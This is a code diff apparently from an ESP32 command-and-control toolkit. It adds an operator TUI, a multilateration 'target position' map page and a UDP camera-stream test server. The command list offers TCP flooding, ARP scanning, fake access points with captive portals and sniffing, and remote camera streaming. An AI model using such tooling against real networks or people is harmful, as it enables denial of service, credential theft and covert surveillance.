|
<form method="post">
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="username">Username</label>
|
||||||
|
<input type="text" id="username" name="username" required autofocus>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="password">Password</label>
|
||||||
|
<input type="password" id="password" name="password" required>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<button type="submit" class="btn-login">Sign in</button>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
174
tools/c2/templates/mlat.html
Normal file
174
tools/c2/templates/mlat.html
Normal file
@ -0,0 +1,174 @@
|
|||||||
|
{% extends "base.html" %}
|
||||||
|
|
||||||
|
{% block title %}MLAT - ESPILON{% endblock %}
|
||||||
|
|
||||||
|
{% block head %}
|
||||||
|
<link rel="stylesheet" href="https://unpkg.com/leaflet@1.9.4/dist/leaflet.css" />
|
||||||
|
<script src="https://unpkg.com/leaflet@1.9.4/dist/leaflet.js"></script>
|
||||||
|
{% endblock %}
|
||||||
|
|
||||||
|
{% block content %}
|
||||||
|
<div class="page-header">
|
||||||
|
<div class="page-title">MLAT <span>Multilateration Positioning</span></div>
|
||||||
|
<div class="view-toggle">
|
||||||
|
<button class="view-btn active" data-view="map" onclick="switchView('map')">
|
||||||
|
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
|
||||||
|
<circle cx="12" cy="10" r="3"/><path d="M12 21.7C17.3 17 20 13 20 10a8 8 0 1 0-16 0c0 3 2.7 7 8 11.7z"/>
|
||||||
|
</svg>
|
||||||
|
Map
|
||||||
|
</button>
|
||||||
|
<button class="view-btn" data-view="plan" onclick="switchView('plan')">
|
||||||
|
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
|
||||||
|
<rect x="3" y="3" width="18" height="18" rx="2"/><path d="M3 9h18M9 21V9"/>
|
||||||
|
</svg>
|
||||||
|
Plan
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="mlat-container">
|
||||||
|
<!-- Map/Plan View -->
|
||||||
|
<div class="mlat-view-wrapper">
|
||||||
|
<!-- Leaflet Map View -->
|
||||||
|
<div id="map-view" class="mlat-view active">
|
||||||
|
<div id="leaflet-map"></div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Plan View (Canvas + Image) -->
|
||||||
|
<div id="plan-view" class="mlat-view">
|
||||||
|
<div class="plan-controls">
|
||||||
|
<input type="file" id="plan-upload" accept="image/*" style="display:none" onchange="uploadPlanImage(this)">
|
||||||
|
<button class="btn btn-sm" onclick="document.getElementById('plan-upload').click()">
|
||||||
|
Upload Plan
|
||||||
|
</button>
|
||||||
|
<button class="btn btn-sm" onclick="clearPlan()">
|
||||||
|
Clear
|
||||||
|
</button>
|
||||||
|
<div class="control-divider"></div>
|
||||||
|
<button class="btn btn-sm toggle-btn active" id="grid-toggle" onclick="toggleGrid()">
|
||||||
|
Grid
|
||||||
|
</button>
|
||||||
|
<button class="btn btn-sm toggle-btn active" id="labels-toggle" onclick="toggleLabels()">
|
||||||
|
Labels
|
||||||
|
</button>
|
||||||
|
<div class="control-divider"></div>
|
||||||
|
<span class="control-label">Zoom:</span>
|
||||||
|
<button class="btn btn-sm" onclick="zoomPlan(-1)" title="Zoom Out">-</button>
|
||||||
|
<span class="zoom-level" id="zoom-level">100%</span>
|
||||||
|
<button class="btn btn-sm" onclick="zoomPlan(1)" title="Zoom In">+</button>
|
||||||
|
<button class="btn btn-sm" onclick="resetZoom()" title="Reset View">Reset</button>
|
||||||
|
<div class="control-divider"></div>
|
||||||
|
<span class="control-label">Size:</span>
|
||||||
|
<button class="btn btn-sm" onclick="adjustPlanSize(-10)" title="Shrink Plan">-10m</button>
|
||||||
|
<span class="size-display" id="size-display">50x30m</span>
|
||||||
|
<button class="btn btn-sm" onclick="adjustPlanSize(10)" title="Enlarge Plan">+10m</button>
|
||||||
|
</div>
|
||||||
|
<div class="plan-canvas-wrapper">
|
||||||
|
<canvas id="plan-canvas"></canvas>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Sidebar -->
|
||||||
|
<div class="mlat-sidebar">
|
||||||
|
<!-- Target Position -->
|
||||||
|
<div class="mlat-panel">
|
||||||
|
<h3>Target Position</h3>
|
||||||
|
<div class="mlat-stat" id="target-coord1-row">
|
||||||
|
<span class="label" id="target-coord1-label">Latitude</span>
|
||||||
|
<span class="value" id="target-coord1">-</span>
|
||||||
|
</div>
|
||||||
|
<div class="mlat-stat" id="target-coord2-row">
|
||||||
|
<span class="label" id="target-coord2-label">Longitude</span>
|
||||||
|
<span class="value" id="target-coord2">-</span>
|
||||||
|
</div>
|
||||||
|
<div class="mlat-stat">
|
||||||
|
<span class="label">Confidence</span>
|
||||||
|
<span class="value" id="target-confidence">-</span>
|
||||||
|
</div>
|
||||||
|
<div class="mlat-stat">
|
||||||
|
<span class="label">Last Update</span>
|
||||||
|
<span class="value" id="target-age">-</span>
|
||||||
|
</div>
|
||||||
|
<div class="mlat-stat">
|
||||||
|
<span class="label">Mode</span>
|
||||||
|
<span class="value" id="coord-mode">GPS</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Active Scanners -->
|
||||||
|
<div class="mlat-panel">
|
||||||
|
<h3>Scanners (<span id="scanner-count">0</span>)</h3>
|
||||||
|
<div class="scanner-list" id="scanner-list">
|
||||||
|
<div class="empty">No scanners active</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Map Settings (GPS mode) -->
|
||||||
|
<div class="mlat-panel" id="map-settings">
|
||||||
|
<h3>Map Settings (GPS)</h3>
|
||||||
|
<div class="config-row">
|
||||||
|
<label>Center Lat</label>
|
||||||
|
<input type="number" id="map-center-lat" value="48.8566" step="0.0001">
|
||||||
|
</div>
|
||||||
|
<div class="config-row">
|
||||||
|
<label>Center Lon</label>
|
||||||
|
<input type="number" id="map-center-lon" value="2.3522" step="0.0001">
|
||||||
|
</div>
|
||||||
|
<div class="config-row">
|
||||||
|
<label>Zoom</label>
|
||||||
|
<input type="number" id="map-zoom" value="18" min="1" max="20">
|
||||||
|
</div>
|
||||||
|
<button class="btn btn-primary btn-sm" onclick="centerMap()">Center Map</button>
|
||||||
|
<button class="btn btn-sm" onclick="fitMapToBounds()">Fit to Scanners</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Plan Settings (Local mode) -->
|
||||||
|
<div class="mlat-panel" id="plan-settings" style="display:none">
|
||||||
|
<h3>Plan Settings (Local)</h3>
|
||||||
|
<div class="config-row">
|
||||||
|
<label>Width (m)</label>
|
||||||
|
<input type="number" id="plan-width" value="50" min="1" step="1">
|
||||||
|
</div>
|
||||||
|
<div class="config-row">
|
||||||
|
<label>Height (m)</label>
|
||||||
|
<input type="number" id="plan-height" value="30" min="1" step="1">
|
||||||
|
</div>
|
||||||
|
<div class="config-row">
|
||||||
|
<label>Origin X (m)</label>
|
||||||
|
<input type="number" id="plan-origin-x" value="0" step="0.1">
|
||||||
|
</div>
|
||||||
|
<div class="config-row">
|
||||||
|
<label>Origin Y (m)</label>
|
||||||
|
<input type="number" id="plan-origin-y" value="0" step="0.1">
|
||||||
|
</div>
|
||||||
|
<button class="btn btn-primary btn-sm" onclick="applyPlanSettings()">Apply</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- MLAT Configuration -->
|
||||||
|
<div class="mlat-panel">
|
||||||
|
<h3>MLAT Config</h3>
|
||||||
|
<div class="config-row">
|
||||||
|
<label>RSSI @ 1m</label>
|
||||||
|
<input type="number" id="config-rssi" value="-40" step="1">
|
||||||
|
</div>
|
||||||
|
<div class="config-row">
|
||||||
|
<label>Path Loss (n)</label>
|
||||||
|
<input type="number" id="config-n" value="2.5" step="0.1">
|
||||||
|
</div>
|
||||||
|
<div class="config-row">
|
||||||
|
<label>Smoothing</label>
|
||||||
|
<input type="number" id="config-smooth" value="5" min="1" max="20">
|
||||||
|
</div>
|
||||||
|
<div class="btn-group">
|
||||||
|
<button class="btn btn-primary btn-sm" onclick="saveConfig()">Save</button>
|
||||||
|
<button class="btn btn-secondary btn-sm" onclick="clearData()">Clear All</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
{% endblock %}
|
||||||
|
|
||||||
|
{% block scripts %}
|
||||||
|
<script src="{{ url_for('static', filename='js/mlat.js') }}"></script>
|
||||||
|
{% endblock %}
|
||||||
54
tools/c2/test_udp.py
Normal file
54
tools/c2/test_udp.py
Normal file
@ -0,0 +1,54 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Simple UDP test server to debug camera streaming."""
|
||||||
|
|
||||||
|
import socket
|
||||||
|
import sys
|
||||||
|
|
||||||
|
HOST = "0.0.0.0"
|
||||||
|
PORT = 5000
|
||||||
|
TOKEN = b"Sup3rS3cretT0k3n"
|
||||||
|
|
||||||
|
def main():
|
||||||
|
port = int(sys.argv[1]) if len(sys.argv) > 1 else PORT
|
||||||
|
|
||||||
|
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
|
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||||
|
sock.bind((HOST, port))
|
||||||
|
|
||||||
|
print(f"[UDP] Listening on {HOST}:{port}")
|
||||||
|
print(f"[UDP] Token: {TOKEN.decode()}")
|
||||||
|
print("[UDP] Waiting for packets...\n")
|
||||||
|
|
||||||
|
packet_count = 0
|
||||||
|
frame_count = 0
|
||||||
|
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
data, addr = sock.recvfrom(65535)
|
||||||
|
packet_count += 1
|
||||||
|
|
||||||
|
# Check token
|
||||||
|
if data.startswith(TOKEN):
|
||||||
|
payload = data[len(TOKEN):]
|
||||||
|
|
||||||
|
if payload == b"START":
|
||||||
|
print(f"[{addr[0]}:{addr[1]}] START (new frame)")
|
||||||
|
elif payload == b"END":
|
||||||
|
frame_count += 1
|
||||||
|
print(f"[{addr[0]}:{addr[1]}] END (frame #{frame_count} complete)")
|
||||||
|
else:
|
||||||
|
print(f"[{addr[0]}:{addr[1]}] CHUNK: {len(payload)} bytes")
|
||||||
|
else:
|
||||||
|
print(f"[{addr[0]}:{addr[1]}] INVALID TOKEN: {data[:20]}...")
|
||||||
|
|
||||||
|
# Stats every 100 packets
|
||||||
|
if packet_count % 100 == 0:
|
||||||
|
print(f"\n--- Stats: {packet_count} packets, {frame_count} frames ---\n")
|
||||||
|
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print(f"\n[UDP] Stopped. Total: {packet_count} packets, {frame_count} frames")
|
||||||
|
finally:
|
||||||
|
sock.close()
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
4
tools/c2/tui/__init__.py
Normal file
4
tools/c2/tui/__init__.py
Normal file
@ -0,0 +1,4 @@
|
|||||||
|
from tui.app import C3POApp
|
||||||
|
from tui.bridge import tui_bridge, TUIMessage, MessageType
|
||||||
|
|
||||||
|
__all__ = ["C3POApp", "tui_bridge", "TUIMessage", "MessageType"]
|
||||||
295
tools/c2/tui/app.py
Normal file
295
tools/c2/tui/app.py
Normal file
@ -0,0 +1,295 @@
|
|||||||
|
"""
|
||||||
|
Main C3PO TUI Application using Textual.
|
||||||
|
Multi-device view: all connected devices visible simultaneously.
|
||||||
|
"""
|
||||||
|
import time
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
from textual.app import App, ComposeResult
|
||||||
|
from textual.binding import Binding
|
||||||
|
from textual.containers import Horizontal, Vertical, Container, ScrollableContainer
|
||||||
|
from textual.widgets import Static
|
||||||
|
|
||||||
|
from tui.bridge import tui_bridge, TUIMessage, MessageType
|
||||||
|
from tui.widgets.log_pane import GlobalLogPane, DeviceLogPane
|
||||||
|
from tui.widgets.command_input import CommandInput
|
||||||
|
from tui.widgets.device_tabs import DeviceTabs
|
||||||
|
|
||||||
|
|
||||||
|
class DeviceContainer(Container):
|
||||||
|
"""Container for a single device with border and title."""
|
||||||
|
|
||||||
|
DEFAULT_CSS = """
|
||||||
|
DeviceContainer {
|
||||||
|
height: 1fr;
|
||||||
|
min-height: 6;
|
||||||
|
border: solid $secondary;
|
||||||
|
border-title-color: $text;
|
||||||
|
border-title-style: bold;
|
||||||
|
}
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self, device_id: str, **kwargs):
|
||||||
|
super().__init__(**kwargs)
|
||||||
|
self.device_id = device_id
|
||||||
|
self.border_title = f"DEVICE: {device_id}"
|
||||||
|
|
||||||
|
|
||||||
|
class C3POApp(App):
|
||||||
|
"""C3PO Command & Control TUI Application."""
|
||||||
|
|
||||||
|
CSS_PATH = Path(__file__).parent / "styles" / "c2.tcss"
|
||||||
|
|
||||||
|
BINDINGS = [
|
||||||
|
Binding("alt+g", "toggle_global", "Global", show=True),
|
||||||
|
Binding("ctrl+l", "clear_global", "Clear", show=True),
|
||||||
|
Binding("ctrl+q", "quit", "Quit", show=True),
|
||||||
|
Binding("escape", "focus_input", "Input", show=False),
|
||||||
|
Binding("tab", "tab_complete", show=False, priority=True),
|
||||||
|
]
|
||||||
|
|
||||||
|
def __init__(self, registry=None, cli=None, **kwargs):
|
||||||
|
super().__init__(**kwargs)
|
||||||
|
self.registry = registry
|
||||||
|
self.cli = cli
|
||||||
|
self._device_panes: dict[str, DeviceLogPane] = {}
|
||||||
|
self._device_containers: dict[str, DeviceContainer] = {}
|
||||||
|
self._device_modules: dict[str, str] = {}
|
||||||
|
|
||||||
|
def compose(self) -> ComposeResult:
|
||||||
|
yield DeviceTabs(id="tab-bar")
|
||||||
|
|
||||||
|
with Horizontal(id="main-content"):
|
||||||
|
# Left side: all devices stacked vertically
|
||||||
|
with Vertical(id="devices-panel"):
|
||||||
|
yield Static("Waiting for devices...", id="no-device-placeholder")
|
||||||
|
|
||||||
|
# Right side: global logs
|
||||||
|
with Container(id="global-log-container") as global_container:
|
||||||
|
global_container.border_title = "GLOBAL LOGS"
|
||||||
|
yield GlobalLogPane(id="global-log")
|
||||||
|
|
||||||
|
with Vertical(id="input-container"):
|
||||||
|
yield Static(
|
||||||
|
"Alt+G:Toggle Global ^L:Clear Logs ^Q:Quit Tab:Complete",
|
||||||
|
id="shortcuts-bar"
|
||||||
|
)
|
||||||
|
yield CommandInput(id="command-input")
|
||||||
|
|
||||||
|
def on_mount(self) -> None:
|
||||||
|
"""Called when app is mounted."""
|
||||||
|
tui_bridge.set_app(self)
|
||||||
|
self.set_interval(0.1, self.process_bridge_queue)
|
||||||
|
|
||||||
|
cmd_input = self.query_one("#command-input", CommandInput)
|
||||||
|
if self.cli:
|
||||||
|
cmd_input.set_completer(self._make_completer())
|
||||||
|
cmd_input.focus()
|
||||||
|
|
||||||
|
global_log = self.query_one("#global-log", GlobalLogPane)
|
||||||
|
global_log.add_system(self._timestamp(), "C3PO TUI initialized - Multi-device view")
|
||||||
|
|
||||||
|
def _make_completer(self):
|
||||||
|
"""Create a completer function that works without readline."""
|
||||||
|
ESP_COMMANDS = [
|
||||||
|
"system_reboot", "system_mem", "system_uptime", "system_info",
|
||||||
|
"ping", "arp_scan", "proxy_start", "proxy_stop", "dos_tcp",
|
||||||
|
"fakeap_start", "fakeap_stop", "fakeap_status", "fakeap_clients",
|
||||||
|
"fakeap_portal_start", "fakeap_portal_stop",
|
||||||
|
"fakeap_sniffer_on", "fakeap_sniffer_off",
|
||||||
|
"cam_start", "cam_stop", "mlat", "trilat",
|
||||||
|
]
|
||||||
|
|
||||||
|
def completer(text: str, state: int) -> str | None:
|
||||||
|
if not self.cli:
|
||||||
|
return None
|
||||||
|
|
||||||
|
cmd_input = self.query_one("#command-input", CommandInput)
|
||||||
|
buffer = cmd_input.value
|
||||||
|
parts = buffer.split()
|
||||||
|
|
||||||
|
options = []
|
||||||
|
|
||||||
|
if len(parts) <= 1 and not buffer.endswith(" "):
|
||||||
|
options = ["send", "list", "modules", "group", "help", "clear", "exit",
|
||||||
|
"active_commands", "web", "camera"]
|
||||||
|
|
||||||
|
elif parts[0] == "send":
|
||||||
|
if len(parts) == 2 and not buffer.endswith(" "):
|
||||||
|
options = ["all", "group"] + self.cli.registry.ids()
|
||||||
|
elif len(parts) == 2 and buffer.endswith(" "):
|
||||||
|
options = ["all", "group"] + self.cli.registry.ids()
|
||||||
|
elif len(parts) == 3 and parts[1] == "group" and not buffer.endswith(" "):
|
||||||
|
options = list(self.cli.groups.all_groups().keys())
|
||||||
|
elif len(parts) == 3 and parts[1] == "group" and buffer.endswith(" "):
|
||||||
|
options = ESP_COMMANDS
|
||||||
|
elif len(parts) == 3 and parts[1] != "group":
|
||||||
|
options = ESP_COMMANDS
|
||||||
|
elif len(parts) == 4 and parts[1] == "group":
|
||||||
|
options = ESP_COMMANDS
|
||||||
|
|
||||||
|
elif parts[0] == "web":
|
||||||
|
if len(parts) <= 2:
|
||||||
|
options = ["start", "stop", "status"]
|
||||||
|
|
||||||
|
elif parts[0] == "camera":
|
||||||
|
if len(parts) <= 2:
|
||||||
|
options = ["start", "stop", "status"]
|
||||||
|
|
||||||
|
elif parts[0] == "group":
|
||||||
|
if len(parts) == 2 and not buffer.endswith(" "):
|
||||||
|
options = ["add", "remove", "list", "show"]
|
||||||
|
elif len(parts) == 2 and buffer.endswith(" "):
|
||||||
|
options = ["add", "remove", "list", "show"]
|
||||||
|
elif parts[1] in ("remove", "show") and len(parts) >= 3:
|
||||||
|
options = list(self.cli.groups.all_groups().keys())
|
||||||
|
elif parts[1] == "add" and len(parts) >= 3:
|
||||||
|
options = self.cli.registry.ids()
|
||||||
|
|
||||||
|
matches = [o for o in options if o.startswith(text)]
|
||||||
|
return matches[state] if state < len(matches) else None
|
||||||
|
|
||||||
|
return completer
|
||||||
|
|
||||||
|
def _timestamp(self) -> str:
|
||||||
|
return time.strftime("%H:%M:%S")
|
||||||
|
|
||||||
|
def process_bridge_queue(self) -> None:
|
||||||
|
for msg in tui_bridge.get_pending_messages():
|
||||||
|
self._handle_tui_message(msg)
|
||||||
|
|
||||||
|
def _handle_tui_message(self, msg: TUIMessage) -> None:
|
||||||
|
global_log = self.query_one("#global-log", GlobalLogPane)
|
||||||
|
timestamp = time.strftime("%H:%M:%S", time.localtime(msg.timestamp))
|
||||||
|
|
||||||
|
if msg.msg_type == MessageType.SYSTEM_MESSAGE:
|
||||||
|
global_log.add_system(timestamp, msg.payload)
|
||||||
|
|
||||||
|
elif msg.msg_type == MessageType.DEVICE_CONNECTED:
|
||||||
|
global_log.add_system(timestamp, f"{msg.device_id} connected")
|
||||||
|
self._add_device_pane(msg.device_id)
|
||||||
|
tabs = self.query_one("#tab-bar", DeviceTabs)
|
||||||
|
tabs.add_device(msg.device_id)
|
||||||
|
|
||||||
|
elif msg.msg_type == MessageType.DEVICE_RECONNECTED:
|
||||||
|
global_log.add_system(timestamp, f"{msg.device_id} reconnected")
|
||||||
|
|
||||||
|
elif msg.msg_type == MessageType.DEVICE_INFO_UPDATED:
|
||||||
|
self._device_modules[msg.device_id] = msg.payload
|
||||||
|
global_log.add_system(timestamp, f"{msg.device_id} modules: {msg.payload}")
|
||||||
|
self._update_device_title(msg.device_id)
|
||||||
|
|
||||||
|
elif msg.msg_type == MessageType.DEVICE_DISCONNECTED:
|
||||||
|
global_log.add_system(timestamp, f"{msg.device_id} disconnected")
|
||||||
|
self._remove_device_pane(msg.device_id)
|
||||||
|
tabs = self.query_one("#tab-bar", DeviceTabs)
|
||||||
|
tabs.remove_device(msg.device_id)
|
||||||
|
|
||||||
|
elif msg.msg_type == MessageType.DEVICE_EVENT:
|
||||||
|
global_log.add_device_event(timestamp, msg.device_id, msg.payload)
|
||||||
|
if msg.device_id in self._device_panes:
|
||||||
|
event_type = self._detect_event_type(msg.payload)
|
||||||
|
self._device_panes[msg.device_id].add_event(timestamp, msg.payload, event_type)
|
||||||
|
|
||||||
|
elif msg.msg_type == MessageType.COMMAND_SENT:
|
||||||
|
global_log.add_command_sent(timestamp, msg.device_id, msg.payload, msg.request_id)
|
||||||
|
if msg.device_id in self._device_panes:
|
||||||
|
self._device_panes[msg.device_id].add_event(timestamp, msg.payload, "cmd_sent")
|
||||||
|
|
||||||
|
elif msg.msg_type == MessageType.COMMAND_RESPONSE:
|
||||||
|
global_log.add_command_response(timestamp, msg.device_id, msg.payload, msg.request_id)
|
||||||
|
if msg.device_id in self._device_panes:
|
||||||
|
self._device_panes[msg.device_id].add_event(timestamp, msg.payload, "cmd_resp")
|
||||||
|
|
||||||
|
elif msg.msg_type == MessageType.ERROR:
|
||||||
|
global_log.add_error(timestamp, msg.payload)
|
||||||
|
|
||||||
|
def _detect_event_type(self, payload: str) -> str:
|
||||||
|
payload_upper = payload.upper()
|
||||||
|
if payload_upper.startswith("INFO:"):
|
||||||
|
return "info"
|
||||||
|
elif payload_upper.startswith("LOG:"):
|
||||||
|
return "log"
|
||||||
|
elif payload_upper.startswith("ERROR:"):
|
||||||
|
return "error"
|
||||||
|
elif payload_upper.startswith("DATA:"):
|
||||||
|
return "data"
|
||||||
|
return "info"
|
||||||
|
|
||||||
|
def _add_device_pane(self, device_id: str) -> None:
|
||||||
|
"""Add a new device pane (visible immediately)."""
|
||||||
|
if device_id in self._device_panes:
|
||||||
|
return
|
||||||
|
|
||||||
|
# Hide placeholder
|
||||||
|
placeholder = self.query_one("#no-device-placeholder", Static)
|
||||||
|
placeholder.display = False
|
||||||
|
|
||||||
|
# Create container with border for this device
|
||||||
|
container = DeviceContainer(device_id, id=f"device-container-{device_id}")
|
||||||
|
pane = DeviceLogPane(device_id, id=f"device-pane-{device_id}")
|
||||||
|
|
||||||
|
self._device_containers[device_id] = container
|
||||||
|
self._device_panes[device_id] = pane
|
||||||
|
|
||||||
|
# Mount in the devices panel
|
||||||
|
devices_panel = self.query_one("#devices-panel", Vertical)
|
||||||
|
devices_panel.mount(container)
|
||||||
|
container.mount(pane)
|
||||||
|
|
||||||
|
def _remove_device_pane(self, device_id: str) -> None:
|
||||||
|
"""Remove a device pane."""
|
||||||
|
if device_id in self._device_containers:
|
||||||
|
container = self._device_containers.pop(device_id)
|
||||||
|
container.remove()
|
||||||
|
self._device_panes.pop(device_id, None)
|
||||||
|
self._device_modules.pop(device_id, None)
|
||||||
|
|
||||||
|
# Show placeholder if no devices
|
||||||
|
if not self._device_containers:
|
||||||
|
placeholder = self.query_one("#no-device-placeholder", Static)
|
||||||
|
placeholder.display = True
|
||||||
|
|
||||||
|
def _update_device_title(self, device_id: str) -> None:
|
||||||
|
"""Update device container title with modules info."""
|
||||||
|
if device_id in self._device_containers:
|
||||||
|
modules = self._device_modules.get(device_id, "")
|
||||||
|
container = self._device_containers[device_id]
|
||||||
|
if modules:
|
||||||
|
container.border_title = f"DEVICE: {device_id} [{modules}]"
|
||||||
|
else:
|
||||||
|
container.border_title = f"DEVICE: {device_id}"
|
||||||
|
|
||||||
|
def on_command_input_completions_available(self, event: CommandInput.CompletionsAvailable) -> None:
|
||||||
|
global_log = self.query_one("#global-log", GlobalLogPane)
|
||||||
|
completions_str = " ".join(event.completions)
|
||||||
|
global_log.add_system(self._timestamp(), f"Completions: {completions_str}")
|
||||||
|
|
||||||
|
def on_command_input_command_submitted(self, event: CommandInput.CommandSubmitted) -> None:
|
||||||
|
command = event.command
|
||||||
|
global_log = self.query_one("#global-log", GlobalLogPane)
|
||||||
|
global_log.add_system(self._timestamp(), f"Executing: {command}")
|
||||||
|
|
||||||
|
if self.cli:
|
||||||
|
try:
|
||||||
|
self.cli.execute_command(command)
|
||||||
|
except Exception as e:
|
||||||
|
global_log.add_error(self._timestamp(), f"Command error: {e}")
|
||||||
|
|
||||||
|
def action_toggle_global(self) -> None:
|
||||||
|
"""Toggle global logs pane visibility."""
|
||||||
|
global_container = self.query_one("#global-log-container", Container)
|
||||||
|
global_container.display = not global_container.display
|
||||||
|
|
||||||
|
def action_clear_global(self) -> None:
|
||||||
|
"""Clear global logs pane only."""
|
||||||
|
global_log = self.query_one("#global-log", GlobalLogPane)
|
||||||
|
global_log.clear()
|
||||||
|
|
||||||
|
def action_focus_input(self) -> None:
|
||||||
|
self.query_one("#command-input", CommandInput).focus()
|
||||||
|
|
||||||
|
def action_tab_complete(self) -> None:
|
||||||
|
cmd_input = self.query_one("#command-input", CommandInput)
|
||||||
|
cmd_input.focus()
|
||||||
|
cmd_input._handle_tab_completion()
|
||||||
65
tools/c2/tui/bridge.py
Normal file
65
tools/c2/tui/bridge.py
Normal file
@ -0,0 +1,65 @@
|
|||||||
|
"""
|
||||||
|
Thread-safe bridge between sync threads and async Textual TUI.
|
||||||
|
"""
|
||||||
|
import queue
|
||||||
|
import time
|
||||||
|
from dataclasses import dataclass, field
|
||||||
|
from enum import Enum
|
||||||
|
from typing import Optional, Any
|
||||||
|
|
||||||
|
|
||||||
|
class MessageType(Enum):
|
||||||
|
DEVICE_CONNECTED = "device_connected"
|
||||||
|
DEVICE_DISCONNECTED = "device_disconnected"
|
||||||
|
DEVICE_RECONNECTED = "device_reconnected"
|
||||||
|
DEVICE_INFO_UPDATED = "device_info_updated"
|
||||||
|
DEVICE_EVENT = "device_event"
|
||||||
|
COMMAND_SENT = "command_sent"
|
||||||
|
COMMAND_RESPONSE = "command_response"
|
||||||
|
SYSTEM_MESSAGE = "system_message"
|
||||||
|
ERROR = "error"
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class TUIMessage:
|
||||||
|
"""Message from sync thread to async TUI."""
|
||||||
|
msg_type: MessageType
|
||||||
|
payload: str
|
||||||
|
timestamp: float = field(default_factory=time.time)
|
||||||
|
device_id: Optional[str] = None
|
||||||
|
request_id: Optional[str] = None
|
||||||
|
|
||||||
|
|
||||||
|
class TUIBridge:
|
||||||
|
"""Thread-safe bridge between sync threads and async Textual app."""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self._queue: queue.Queue[TUIMessage] = queue.Queue()
|
||||||
|
self._app: Any = None
|
||||||
|
|
||||||
|
def set_app(self, app):
|
||||||
|
"""Called by TUI app on startup."""
|
||||||
|
self._app = app
|
||||||
|
|
||||||
|
def post_message(self, msg: TUIMessage):
|
||||||
|
"""Called by sync threads (Display class)."""
|
||||||
|
self._queue.put(msg)
|
||||||
|
if self._app:
|
||||||
|
try:
|
||||||
|
self._app.call_from_thread(self._app.process_bridge_queue)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def get_pending_messages(self) -> list[TUIMessage]:
|
||||||
|
"""Called by async TUI to drain the queue."""
|
||||||
|
messages = []
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
messages.append(self._queue.get_nowait())
|
||||||
|
except queue.Empty:
|
||||||
|
break
|
||||||
|
return messages
|
||||||
|
|
||||||
|
|
||||||
|
# Global bridge instance
|
||||||
|
tui_bridge = TUIBridge()
|
||||||
119
tools/c2/tui/styles/c2.tcss
Normal file
119
tools/c2/tui/styles/c2.tcss
Normal file
@ -0,0 +1,119 @@
|
|||||||
|
/* C3PO TUI Stylesheet - Multi-device view */
|
||||||
|
|
||||||
|
Screen {
|
||||||
|
background: $surface;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Header/Tab bar */
|
||||||
|
#tab-bar {
|
||||||
|
height: 1;
|
||||||
|
dock: top;
|
||||||
|
background: $surface-darken-1;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Main content area */
|
||||||
|
#main-content {
|
||||||
|
height: 1fr;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Left panel: all devices stacked */
|
||||||
|
#devices-panel {
|
||||||
|
width: 1fr;
|
||||||
|
min-width: 30;
|
||||||
|
}
|
||||||
|
|
||||||
|
#no-device-placeholder {
|
||||||
|
width: 100%;
|
||||||
|
height: 100%;
|
||||||
|
content-align: center middle;
|
||||||
|
color: $text-muted;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Right panel: global logs */
|
||||||
|
#global-log-container {
|
||||||
|
width: 1fr;
|
||||||
|
min-width: 30;
|
||||||
|
border: solid $primary;
|
||||||
|
border-title-color: $text;
|
||||||
|
border-title-style: bold;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Input area */
|
||||||
|
#input-container {
|
||||||
|
height: 3;
|
||||||
|
dock: bottom;
|
||||||
|
background: $surface-darken-1;
|
||||||
|
border-top: solid $primary;
|
||||||
|
padding: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
#command-input {
|
||||||
|
width: 1fr;
|
||||||
|
height: 1;
|
||||||
|
margin: 0;
|
||||||
|
padding: 0 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
#shortcuts-bar {
|
||||||
|
height: 1;
|
||||||
|
width: 100%;
|
||||||
|
background: $surface-darken-2;
|
||||||
|
color: $text-muted;
|
||||||
|
padding: 0 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Device containers - each device in its own bordered box */
|
||||||
|
DeviceContainer {
|
||||||
|
height: 1fr;
|
||||||
|
min-height: 5;
|
||||||
|
border: solid $secondary;
|
||||||
|
border-title-color: $text;
|
||||||
|
border-title-style: bold;
|
||||||
|
margin-bottom: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Log pane inside device container */
|
||||||
|
DeviceLogPane {
|
||||||
|
height: 100%;
|
||||||
|
scrollbar-size: 1 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Global log pane */
|
||||||
|
GlobalLogPane {
|
||||||
|
height: 100%;
|
||||||
|
scrollbar-size: 1 1;
|
||||||
|
}
|
